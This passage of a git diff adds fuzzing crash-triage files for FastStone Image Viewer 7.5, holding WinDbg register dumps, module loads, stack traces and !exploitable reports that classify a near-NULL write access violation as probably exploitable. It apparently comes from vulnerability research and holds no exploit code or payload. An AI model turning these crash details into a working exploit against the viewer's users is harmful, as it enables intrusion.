ecx=07ed7b19 edx=00000000 esi=00000000 edi=07cfafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.24072e+019 -9.19119e-027 3.48742e+011 -2.62667e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a0000 4d38a954 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15718/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d058f4e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fb73ca7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bd8.de0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=07d5afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.32925e+030 3.09077e-022 -1.52174e-029 -1.54655e-009 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00289000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00289000 df34ef04 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00289000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fb73ca7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bd8.de0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=07d5afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.32925e+030 3.09077e-022 -1.52174e-029 -1.54655e-009 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl 